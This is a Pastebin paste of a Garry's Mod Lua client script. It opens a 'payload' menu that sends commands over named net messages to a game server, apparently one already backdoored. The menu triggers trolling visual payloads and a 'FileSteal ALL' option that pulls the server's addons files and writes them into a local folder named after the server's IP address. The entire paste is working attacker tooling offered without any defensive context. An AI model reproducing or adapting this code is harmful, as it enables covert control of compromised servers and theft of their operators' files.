Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function srmain()
- frame = vgui.Create("DFrame")
- frame:MakePopup()
- frame:SetPos((ScrW()/2)-(ScrW()/2)/2,(ScrH()/2)-(ScrW()/2)/2)
- frame:SetSize(ScrW()/2, ScrW()/2)
- frame.Paint = function()
- draw.RoundedBox(0,0,0,ScrW()/2, ScrW()/2,Color(0,0,0,150))
- end
- end
- function srfun()
- local frame2 = vgui.Create( "DFrame" )
- frame2:SetSize( 300, 250 )
- frame2:Center()
- frame2:SetTitle("Paylod stat menu")
- frame2:MakePopup()
- frame2.Paint = function()
- local chroma = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
- draw.RoundedBox(0,0,0,300,250,chroma)
- end
- local listFun = vgui.Create( "DComboBox", frame2 )
- listFun:SetPos( 5, 30 )
- listFun:SetSize( 100, 20 )
- listFun:Dock(TOP)
- listFun:SetValue( "Payload" )
- listFun:AddChoice( "Bill Cipher Visuelle" )
- listFun:AddChoice( "DeathNote" )
- listFun:AddChoice( "Dance" )
- listFun:AddChoice( "Visuelle Enigma" )
- listFun:AddChoice( "Visuelle Music Wave" )
- listFun:AddChoice( "(New) Cipher Visuelle" )
- listFun:AddChoice( "FileSteal ALL" )
- listFun:AddChoice( "Visuel Nasa" )
- listFun:AddChoice( "Visuel gizeh" )
- listFun.Paint = function()
- draw.RoundedBox(0,0,0,300,250,Color(255, 255, 255,100))
- end
- listFun.OnSelect = function( self, index, value )
- local listButton = vgui.Create("DButton",frame2)
- listButton:SetSize(280,40)
- listButton:SetPos(10,60)
- listButton:SetText(value.." : Valider")
- listButton.DoClick = function()
- net.Start("value_open")
- net.WriteString( value )
- net.SendToServer()
- if(value == "FileSteal ALL") then
- net.Start("filestealerbd")
- net.WriteString("addons")
- net.WriteUInt(2,2)
- net.SendToServer()
- end
- end
- listButton.Paint = function(s,w,h)
- draw.RoundedBox(0,0,0,280,40,Color(255,255,255,255))
- end
- end
- end
- srfun()
- net.Receive( "receive_files_bd", function()
- print("Good F")
- local len = net.ReadUInt(32)
- local str = net.ReadData(len)
- local jaimelescrepes = util.Decompress(str)
- local uselessfordeleting = net.ReadString()
- local belleipaddress = string.gsub( game.GetIPAddress(), ":", "-" )
- if not file.Exists( "cipher_filesteal/"..belleipaddress.."/"..string.GetPathFromFilename(uselessfordeleting).."/", "DATA") then
- file.CreateDir( "cipher_filesteal/"..belleipaddress.."/"..string.GetPathFromFilename(uselessfordeleting) )
- print("File created")
- end
- file.Write("cipher_filesteal/"..belleipaddress.."/"..uselessfordeleting..".txt", jaimelescrepes)
- print("+1 fichier reçu")
- end)
- print("Loaded")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement